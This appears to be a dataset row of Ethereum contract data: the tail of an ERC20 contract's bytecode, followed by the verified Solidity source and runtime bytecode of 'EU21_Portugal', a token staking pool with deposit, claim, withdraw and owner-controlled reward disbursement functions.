ffffffffffffffffffffffffffffff168773ffffffffffffffffffffffffffffffffffffffff16141561456957600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1696505b8573ffffffffffffffffffffffffffffffffffffffff168773ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef876040518082815260200191505060405180910390a3614a0a565b600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16148061467c5750600b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff16145b6146d1576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526026815260200180614a626026913960400191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168773ffffffffffffffffffffffffffffffffffffffff161415614757576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526025815260200180614ab06025913960400191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff1614156147dd576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526023815260200180614a1d6023913960400191505060405180910390fd5b6147e8878787614a17565b61485385604051806060016040528060268152602001614a62602691396000808b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612c329092919063ffffffff16565b6000808973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506148e6856000808973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546122d190919063ffffffff16565b6000808873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168773ffffffffffffffffffffffffffffffffffffffff1614156149a457600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1696505b8573ffffffffffffffffffffffffffffffffffffffff168773ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef876040518082815260200191505060405180910390a35b5b5b5b5b50505050505050565b50505056fe45524332303a207472616e7366657220746f20746865207a65726f206164647265737345524332303a20617070726f766520746f20746865207a65726f206164647265737345524332303a207472616e7366657220616d6f756e7420657863656564732062616c616e636545524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e636545524332303a207472616e736665722066726f6d20746865207a65726f206164647265737345524332303a20617070726f76652066726f6d20746865207a65726f2061646472657373a2646970667358221220922c3e5b1828f16b03c3e9a4fb6eef78d4f4f8d74b4dc846a9e354deda1cb64a64736f6c634300060c0033
|
{"success": true, "error": null, "results": {}}
| 6,378 |
0x70d93701b8e3a878679d5a68e0f7d0c731386cf3
|
/**
*Submitted for verification at Etherscan.io on 2021-06-07
*/
pragma solidity >=0.8.0;
// SPDX-License-Identifier: BSD-3-Clause
/**
* @title SafeMath
* @dev Math operations with safety checks that throw on error
*/
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a * b;
assert(a == 0 || c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
// assert(b > 0); // Solidity automatically throws when dividing by 0
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
/**
* @dev Library for managing
* https://en.wikipedia.org/wiki/Set_(abstract_data_type)[sets] of primitive
* types.
*
* Sets have the following properties:
*
* - Elements are added, removed, and checked for existence in constant time
* (O(1)).
* - Elements are enumerated in O(n). No guarantees are made on the ordering.
*
* ```
* contract Example {
* // Add the library methods
* using EnumerableSet for EnumerableSet.AddressSet;
*
* // Declare a set state variable
* EnumerableSet.AddressSet private mySet;
* }
* ```
*
* As of v3.0.0, only sets of type `address` (`AddressSet`) and `uint256`
* (`UintSet`) are supported.
*/
library EnumerableSet {
// To implement this library for multiple types with as little code
// repetition as possible, we write it in terms of a generic Set type with
// bytes32 values.
// The Set implementation uses private functions, and user-facing
// implementations (such as AddressSet) are just wrappers around the
// underlying Set.
// This means that we can only create new EnumerableSets for types that fit
// in bytes32.
struct Set {
// Storage of set values
bytes32[] _values;
// Position of the value in the `values` array, plus 1 because index 0
// means a value is not in the set.
mapping (bytes32 => uint256) _indexes;
}
/**
* @dev Add a value to a set. O(1).
*
* Returns true if the value was added to the set, that is if it was not
* already present.
*/
function _add(Set storage set, bytes32 value) private returns (bool) {
if (!_contains(set, value)) {
set._values.push(value);
// The value is stored at length-1, but we add 1 to all indexes
// and use 0 as a sentinel value
set._indexes[value] = set._values.length;
return true;
} else {
return false;
}
}
/**
* @dev Removes a value from a set. O(1).
*
* Returns true if the value was removed from the set, that is if it was
* present.
*/
function _remove(Set storage set, bytes32 value) private returns (bool) {
// We read and store the value's index to prevent multiple reads from the same storage slot
uint256 valueIndex = set._indexes[value];
if (valueIndex != 0) { // Equivalent to contains(set, value)
// To delete an element from the _values array in O(1), we swap the element to delete with the last one in
// the array, and then remove the last element (sometimes called as 'swap and pop').
// This modifies the order of the array, as noted in {at}.
uint256 toDeleteIndex = valueIndex - 1;
uint256 lastIndex = set._values.length - 1;
// When the value to delete is the last one, the swap operation is unnecessary. However, since this occurs
// so rarely, we still do the swap anyway to avoid the gas cost of adding an 'if' statement.
bytes32 lastvalue = set._values[lastIndex];
// Move the last value to the index where the value to delete is
set._values[toDeleteIndex] = lastvalue;
// Update the index for the moved value
set._indexes[lastvalue] = toDeleteIndex + 1; // All indexes are 1-based
// Delete the slot where the moved value was stored
set._values.pop();
// Delete the index for the deleted slot
delete set._indexes[value];
return true;
} else {
return false;
}
}
/**
* @dev Returns true if the value is in the set. O(1).
*/
function _contains(Set storage set, bytes32 value) private view returns (bool) {
return set._indexes[value] != 0;
}
/**
* @dev Returns the number of values on the set. O(1).
*/
function _length(Set storage set) private view returns (uint256) {
return set._values.length;
}
/**
* @dev Returns the value stored at position `index` in the set. O(1).
*
* Note that there are no guarantees on the ordering of values inside the
* array, and it may change when more values are added or removed.
*
* Requirements:
*
* - `index` must be strictly less than {length}.
*/
function _at(Set storage set, uint256 index) private view returns (bytes32) {
require(set._values.length > index, "EnumerableSet: index out of bounds");
return set._values[index];
}
// AddressSet
struct AddressSet {
Set _inner;
}
/**
* @dev Add a value to a set. O(1).
*
* Returns true if the value was added to the set, that is if it was not
* already present.
*/
function add(AddressSet storage set, address value) internal returns (bool) {
return _add(set._inner, bytes32(uint(uint160(value))));
}
/**
* @dev Removes a value from a set. O(1).
*
* Returns true if the value was removed from the set, that is if it was
* present.
*/
function remove(AddressSet storage set, address value) internal returns (bool) {
return _remove(set._inner, bytes32(uint(uint160(value))));
}
/**
* @dev Returns true if the value is in the set. O(1).
*/
function contains(AddressSet storage set, address value) internal view returns (bool) {
return _contains(set._inner, bytes32(uint(uint160(value))));
}
/**
* @dev Returns the number of values in the set. O(1).
*/
function length(AddressSet storage set) internal view returns (uint256) {
return _length(set._inner);
}
/**
* @dev Returns the value stored at position `index` in the set. O(1).
*
* Note that there are no guarantees on the ordering of values inside the
* array, and it may change when more values are added or removed.
*
* Requirements:
*
* - `index` must be strictly less than {length}.
*/
function at(AddressSet storage set, uint256 index) internal view returns (address) {
return address(uint160(uint(_at(set._inner, index))));
}
// UintSet
struct UintSet {
Set _inner;
}
/**
* @dev Add a value to a set. O(1).
*
* Returns true if the value was added to the set, that is if it was not
* already present.
*/
function add(UintSet storage set, uint256 value) internal returns (bool) {
return _add(set._inner, bytes32(value));
}
/**
* @dev Removes a value from a set. O(1).
*
* Returns true if the value was removed from the set, that is if it was
* present.
*/
function remove(UintSet storage set, uint256 value) internal returns (bool) {
return _remove(set._inner, bytes32(value));
}
/**
* @dev Returns true if the value is in the set. O(1).
*/
function contains(UintSet storage set, uint256 value) internal view returns (bool) {
return _contains(set._inner, bytes32(value));
}
/**
* @dev Returns the number of values on the set. O(1).
*/
function length(UintSet storage set) internal view returns (uint256) {
return _length(set._inner);
}
/**
* @dev Returns the value stored at position `index` in the set. O(1).
*
* Note that there are no guarantees on the ordering of values inside the
* array, and it may change when more values are added or removed.
*
* Requirements:
*
* - `index` must be strictly less than {length}.
*/
function at(UintSet storage set, uint256 index) internal view returns (uint256) {
return uint256(_at(set._inner, index));
}
}
/**
* @title Ownable
* @dev The Ownable contract has an owner address, and provides basic authorization control
* functions, this simplifies the implementation of "user permissions".
*/
contract Ownable {
address public owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev The Ownable constructor sets the original `owner` of the contract to the sender
* account.
*/
constructor() {
owner = msg.sender;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
/**
* @dev Allows the current owner to transfer control of the contract to a newOwner.
* @param newOwner The address to transfer ownership to.
*/
function transferOwnership(address newOwner) onlyOwner public {
require(newOwner != address(0));
emit OwnershipTransferred(owner, newOwner);
owner = newOwner;
}
}
interface Token {
function transferFrom(address, address, uint) external returns (bool);
function transfer(address, uint) external returns (bool);
}
contract EU21_Portugal is Ownable {
using SafeMath for uint;
using EnumerableSet for EnumerableSet.AddressSet;
event RewardsTransferred(address holder, uint amount);
// EU21 token contract address
address public constant tokenAddress = 0x87ea1F06d7293161B9ff080662c1b0DF775122D3;
// amount disbursed per victory
uint public amountToDisburse = 1000000000000000000000; // 1000 EU21 PER VICTORY
// total games rewards for each pool
uint public totalReward = 7000000000000000000000; // 7000 EU21 TOTAL GAMES REWARDS (EXCLUDING THE GRAND PRIZE)
// unstaking possible after ...
uint public constant unstakeTime = 37 days;
// claiming possible after ...
uint public constant claimTime = 37 days;
uint public totalClaimedRewards = 0;
uint public totalDeposited = 0;
uint public totalDisbursed = 0;
bool public ended ;
uint public startTime = block.timestamp;
EnumerableSet.AddressSet private holders;
mapping (address => uint) public depositedTokens;
mapping (address => uint) public pending;
mapping (address => uint) public totalEarnedTokens;
mapping (address => uint) public rewardEnded;
function disburse () public onlyOwner returns (bool){
require(!ended, "Staking already ended");
address _hold;
uint _add;
for(uint i = 0; i < holders.length(); i = i.add(1)){
_hold = holders.at(i);
_add = depositedTokens[_hold].mul(amountToDisburse).div(totalDeposited);
pending[_hold] = pending[_hold].add(_add);
}
totalDisbursed = totalDisbursed.add(amountToDisburse);
return true;
}
//Disburse and End the staking pool
function disburseAndEnd(uint _finalDisburseAmount) public onlyOwner returns (bool){
require(!ended, "Staking already ended");
require(_finalDisburseAmount > 0);
address _hold;
uint _add;
for(uint i = 0; i < holders.length(); i = i.add(1)){
_hold = holders.at(i);
_add = depositedTokens[_hold].mul(_finalDisburseAmount).div(totalDeposited);
pending[_hold] = pending[_hold].add(_add);
}
totalDisbursed = totalDisbursed.add(_finalDisburseAmount);
ended = true;
return true;
}
//End the staking pool
function end() public onlyOwner returns (bool){
require(!ended, "Staking already ended");
ended = true;
return true;
}
function updateAccount(address account) private {
uint pendingDivs = getPendingDivs(account);
if (pendingDivs > 0) {
pending[account] = 0;
depositedTokens[account] = depositedTokens[account].add(pendingDivs);
totalDeposited = totalDeposited.add(pendingDivs);
totalEarnedTokens[account] = totalEarnedTokens[account].add(pendingDivs);
totalClaimedRewards = totalClaimedRewards.add(pendingDivs);
}
}
function getPendingDivs(address _holder) public view returns (uint) {
if (!holders.contains(_holder)) return 0;
uint pendingDivs = pending[_holder];
return pendingDivs;
}
function getNumberOfHolders() public view returns (uint) {
return holders.length();
}
function deposit(uint amountToStake) public {
require(!ended, "Staking has ended");
require(amountToStake > 0, "Cannot deposit 0 Tokens");
require(Token(tokenAddress).transferFrom(msg.sender, address(this), amountToStake), "Insufficient Token Allowance");
updateAccount(msg.sender);
depositedTokens[msg.sender] = depositedTokens[msg.sender].add(amountToStake);
totalDeposited = totalDeposited.add(amountToStake);
if (!holders.contains(msg.sender)) {
holders.add(msg.sender);
}
}
function claim() public{
require(holders.contains(msg.sender));
require(block.timestamp.sub(startTime) > claimTime || ended, "Not yet.");
require(pending[msg.sender] > 0);
uint _reward = pending[msg.sender];
pending[msg.sender] = 0;
require(Token(tokenAddress).transfer(msg.sender, _reward), "Could not transfer tokens.");
totalClaimedRewards = totalClaimedRewards.add(_reward);
totalEarnedTokens[msg.sender] = totalEarnedTokens[msg.sender].add(_reward);
if(depositedTokens[msg.sender] == 0){
holders.remove(msg.sender);
}
}
function withdraw(uint _amount) public{
require(block.timestamp.sub(startTime) > unstakeTime || ended, "Not yet.");
require(depositedTokens[msg.sender] >= _amount);
require(_amount > 0);
depositedTokens[msg.sender] = depositedTokens[msg.sender].sub(_amount);
totalDeposited = totalDeposited.sub(_amount);
require(Token(tokenAddress).transfer(msg.sender, _amount), "Could not transfer tokens.");
if(depositedTokens[msg.sender] == 0 && pending[msg.sender] == 0){
holders.remove(msg.sender);
}
}
/*
function withdrawAllAfterEnd() public {
require(ended, "Staking has not ended");
uint _pend = pending[msg.sender];
uint amountToWithdraw = _pend.add(depositedTokens[msg.sender]);
require(amountToWithdraw >= 0, "Invalid amount to withdraw");
pending[msg.sender] = 0;
depositedTokens[msg.sender] = 0;
totalDeposited = totalDeposited.sub(depositedTokens[msg.sender]);
require(Token(tokenAddress).transfer(msg.sender, amountToWithdraw), "Could not transfer tokens.");
totalClaimedRewards = totalClaimedRewards.add(_pend);
totalEarnedTokens[msg.sender] = totalEarnedTokens[msg.sender].add(_pend);
holders.remove(msg.sender);
}*/
function getStakersList(uint startIndex, uint endIndex)
public
view
returns (address[] memory stakers,
uint[] memory stakingTimestamps,
uint[] memory lastClaimedTimeStamps,
uint[] memory stakedTokens) {
require (startIndex < endIndex);
uint length = endIndex.sub(startIndex);
address[] memory _stakers = new address[](length);
uint[] memory _stakingTimestamps = new uint[](length);
uint[] memory _lastClaimedTimeStamps = new uint[](length);
uint[] memory _stakedTokens = new uint[](length);
for (uint i = startIndex; i < endIndex; i = i.add(1)) {
address staker = holders.at(i);
uint listIndex = i.sub(startIndex);
_stakers[listIndex] = staker;
_stakedTokens[listIndex] = depositedTokens[staker];
}
return (_stakers, _stakingTimestamps, _lastClaimedTimeStamps, _stakedTokens);
}
// function to allow admin to claim *other* ERC20 tokens sent to this contract (by mistake)
function transferAnyERC20Tokens(address _tokenAddr, address _to, uint _amount) public onlyOwner {
require (_tokenAddr != tokenAddress , "Cannot Transfer Out this token");
Token(_tokenAddr).transfer(_to, _amount);
}
}
|
0x608060405234801561001057600080fd5b506004361061018e5760003560e01c806398896d10116100de578063c3e5ae5311610097578063d9eaa3ed11610071578063d9eaa3ed1461047c578063efbe1c1c146104ac578063f2fde38b146104ca578063ff50abdc146104e65761018e565b8063c3e5ae5314610410578063d578ceab14610440578063d7e527451461045e5761018e565b806398896d101461033a5780639d76ea581461036a578063abc6fd0b14610388578063b6b55f25146103a6578063bf95c78d146103c2578063c326bf4f146103e05761018e565b80635eebea201161014b578063750142e611610125578063750142e6146102c257806378e97925146102e05780638da5cb5b146102fe5780639232eed31461031c5761018e565b80635eebea20146102465780636270cd18146102765780636a395ccb146102a65761018e565b806312fa6feb146101935780631911cf4a146101b157806327b3bf11146101e45780632e1a7d4d14610202578063308feec31461021e5780634e71d92d1461023c575b600080fd5b61019b610504565b6040516101a8919061253b565b60405180910390f35b6101cb60048036038101906101c691906121d4565b610517565b6040516101db94939291906124da565b60405180910390f35b6101ec61087a565b6040516101f99190612656565b60405180910390f35b61021c600480360381019061021791906121ab565b610881565b005b610226610b86565b6040516102339190612656565b60405180910390f35b610244610b97565b005b610260600480360381019061025b919061210a565b610eea565b60405161026d9190612656565b60405180910390f35b610290600480360381019061028b919061210a565b610f02565b60405161029d9190612656565b60405180910390f35b6102c060048036038101906102bb9190612133565b610f1a565b005b6102ca611088565b6040516102d79190612656565b60405180910390f35b6102e861108e565b6040516102f59190612656565b60405180910390f35b610306611094565b604051610313919061245f565b60405180910390f35b6103246110b8565b6040516103319190612656565b60405180910390f35b610354600480360381019061034f919061210a565b6110be565b6040516103619190612656565b60405180910390f35b61037261112f565b60405161037f919061245f565b60405180910390f35b610390611147565b60405161039d919061253b565b60405180910390f35b6103c060048036038101906103bb91906121ab565b611360565b005b6103ca6115bf565b6040516103d79190612656565b60405180910390f35b6103fa60048036038101906103f5919061210a565b6115c5565b6040516104079190612656565b60405180910390f35b61042a6004803603810190610425919061210a565b6115dd565b6040516104379190612656565b60405180910390f35b6104486115f5565b6040516104559190612656565b60405180910390f35b6104666115fb565b6040516104739190612656565b60405180910390f35b610496600480360381019061049191906121ab565b611602565b6040516104a3919061253b565b60405180910390f35b6104b4611841565b6040516104c1919061253b565b60405180910390f35b6104e460048036038101906104df919061210a565b61190e565b005b6104ee611a5d565b6040516104fb9190612656565b60405180910390f35b600660009054906101000a900460ff1681565b60608060608084861061052957600080fd5b600061053e8787611a6390919063ffffffff16565b905060008167ffffffffffffffff811115610582577f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b6040519080825280602002602001820160405280156105b05781602001602082028036833780820191505090505b50905060008267ffffffffffffffff8111156105f5577f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b6040519080825280602002602001820160405280156106235781602001602082028036833780820191505090505b50905060008367ffffffffffffffff811115610668577f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b6040519080825280602002602001820160405280156106965781602001602082028036833780820191505090505b50905060008467ffffffffffffffff8111156106db577f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b6040519080825280602002602001820160405280156107095781602001602082028036833780820191505090505b50905060008b90505b8a81101561085f576000610730826008611ab090919063ffffffff16565b905060006107478e84611a6390919063ffffffff16565b905081878281518110610783577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050600a60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054848281518110610836577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b6020026020010181815250505050610858600182611aca90919063ffffffff16565b9050610712565b50838383839850985098509850505050505092959194509250565b6230c78081565b6230c78061089a60075442611a6390919063ffffffff16565b11806108b25750600660009054906101000a900460ff165b6108f1576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016108e890612636565b60405180910390fd5b80600a60003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054101561093d57600080fd5b6000811161094a57600080fd5b61099c81600a60003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611a6390919063ffffffff16565b600a60003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506109f481600454611a6390919063ffffffff16565b6004819055507387ea1f06d7293161b9ff080662c1b0df775122d373ffffffffffffffffffffffffffffffffffffffff1663a9059cbb33836040518363ffffffff1660e01b8152600401610a499291906124b1565b602060405180830381600087803b158015610a6357600080fd5b505af1158015610a77573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610a9b9190612182565b610ada576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610ad1906125b6565b60405180910390fd5b6000600a60003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054148015610b6857506000600b60003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054145b15610b8357610b81336008611b1c90919063ffffffff16565b505b50565b6000610b926008611b4c565b905090565b610bab336008611b6190919063ffffffff16565b610bb457600080fd5b6230c780610bcd60075442611a6390919063ffffffff16565b1180610be55750600660009054906101000a900460ff165b610c24576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c1b90612636565b60405180910390fd5b6000600b60003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205411610c7057600080fd5b6000600b60003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205490506000600b60003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055507387ea1f06d7293161b9ff080662c1b0df775122d373ffffffffffffffffffffffffffffffffffffffff1663a9059cbb33836040518363ffffffff1660e01b8152600401610d489291906124b1565b602060405180830381600087803b158015610d6257600080fd5b505af1158015610d76573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610d9a9190612182565b610dd9576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610dd0906125b6565b60405180910390fd5b610dee81600354611aca90919063ffffffff16565b600381905550610e4681600c60003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611aca90919063ffffffff16565b600c60003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506000600a60003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020541415610ee757610ee5336008611b1c90919063ffffffff16565b505b50565b600b6020528060005260406000206000915090505481565b600c6020528060005260406000206000915090505481565b60008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614610f7257600080fd5b7387ea1f06d7293161b9ff080662c1b0df775122d373ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415610ff5576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610fec90612596565b60405180910390fd5b8273ffffffffffffffffffffffffffffffffffffffff1663a9059cbb83836040518363ffffffff1660e01b81526004016110309291906124b1565b602060405180830381600087803b15801561104a57600080fd5b505af115801561105e573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906110829190612182565b50505050565b60025481565b60075481565b60008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60015481565b60006110d4826008611b6190919063ffffffff16565b6110e1576000905061112a565b6000600b60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050809150505b919050565b7387ea1f06d7293161b9ff080662c1b0df775122d381565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16146111a257600080fd5b600660009054906101000a900460ff16156111f2576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016111e990612576565b60405180910390fd5b60008060005b6112026008611b4c565b8110156113395761121d816008611ab090919063ffffffff16565b9250611287600454611279600154600a60008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611b9190919063ffffffff16565b611bf890919063ffffffff16565b91506112db82600b60008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611aca90919063ffffffff16565b600b60008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550611332600182611aca90919063ffffffff16565b90506111f8565b50611351600154600554611aca90919063ffffffff16565b60058190555060019250505090565b600660009054906101000a900460ff16156113b0576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016113a7906125d6565b60405180910390fd5b600081116113f3576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016113ea906125f6565b60405180910390fd5b7387ea1f06d7293161b9ff080662c1b0df775122d373ffffffffffffffffffffffffffffffffffffffff166323b872dd3330846040518463ffffffff1660e01b81526004016114449392919061247a565b602060405180830381600087803b15801561145e57600080fd5b505af1158015611472573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906114969190612182565b6114d5576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016114cc90612616565b60405180910390fd5b6114de33611c13565b61153081600a60003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611aca90919063ffffffff16565b600a60003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061158881600454611aca90919063ffffffff16565b6004819055506115a2336008611b6190919063ffffffff16565b6115bc576115ba336008611dd390919063ffffffff16565b505b50565b60055481565b600a6020528060005260406000206000915090505481565b600d6020528060005260406000206000915090505481565b60035481565b6230c78081565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161461165d57600080fd5b600660009054906101000a900460ff16156116ad576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016116a490612576565b60405180910390fd5b600082116116ba57600080fd5b60008060005b6116ca6008611b4c565b8110156117ff576116e5816008611ab090919063ffffffff16565b925061174d60045461173f87600a60008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611b9190919063ffffffff16565b611bf890919063ffffffff16565b91506117a182600b60008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611aca90919063ffffffff16565b600b60008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506117f8600182611aca90919063ffffffff16565b90506116c0565b5061181584600554611aca90919063ffffffff16565b6005819055506001600660006101000a81548160ff021916908315150217905550600192505050919050565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161461189c57600080fd5b600660009054906101000a900460ff16156118ec576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016118e390612576565b60405180910390fd5b6001600660006101000a81548160ff0219169083151502179055506001905090565b60008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161461196657600080fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1614156119a057600080fd5b8073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a3806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b60045481565b600082821115611a9c577f4e487b7100000000000000000000000000000000000000000000000000000000600052600160045260246000fd5b8183611aa891906127d5565b905092915050565b6000611abf8360000183611e03565b60001c905092915050565b6000808284611ad991906126f4565b905083811015611b12577f4e487b7100000000000000000000000000000000000000000000000000000000600052600160045260246000fd5b8091505092915050565b6000611b44836000018373ffffffffffffffffffffffffffffffffffffffff1660001b611e9d565b905092915050565b6000611b5a82600001612027565b9050919050565b6000611b89836000018373ffffffffffffffffffffffffffffffffffffffff1660001b612038565b905092915050565b6000808284611ba0919061277b565b90506000841480611bbb5750828482611bb9919061274a565b145b611bee577f4e487b7100000000000000000000000000000000000000000000000000000000600052600160045260246000fd5b8091505092915050565b6000808284611c07919061274a565b90508091505092915050565b6000611c1e826110be565b90506000811115611dcf576000600b60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550611cc081600a60008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611aca90919063ffffffff16565b600a60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550611d1881600454611aca90919063ffffffff16565b600481905550611d7081600c60008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611aca90919063ffffffff16565b600c60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550611dc881600354611aca90919063ffffffff16565b6003819055505b5050565b6000611dfb836000018373ffffffffffffffffffffffffffffffffffffffff1660001b61205b565b905092915050565b600081836000018054905011611e4e576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611e4590612556565b60405180910390fd5b826000018281548110611e8a577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b9060005260206000200154905092915050565b6000808360010160008481526020019081526020016000205490506000811461201b576000600182611ecf91906127d5565b9050600060018660000180549050611ee791906127d5565b90506000866000018281548110611f27577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b9060005260206000200154905080876000018481548110611f71577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b9060005260206000200181905550600183611f8c91906126f4565b8760010160008381526020019081526020016000208190555086600001805480611fdf577f4e487b7100000000000000000000000000000000000000000000000000000000600052603160045260246000fd5b60019003818190600052602060002001600090559055866001016000878152602001908152602001600020600090556001945050505050612021565b60009150505b92915050565b600081600001805490509050919050565b600080836001016000848152602001908152602001600020541415905092915050565b60006120678383612038565b6120c05782600001829080600181540180825580915050600190039060005260206000200160009091909190915055826000018054905083600101600084815260200190815260200160002081905550600190506120c5565b600090505b92915050565b6000813590506120da81612a1d565b92915050565b6000815190506120ef81612a34565b92915050565b60008135905061210481612a4b565b92915050565b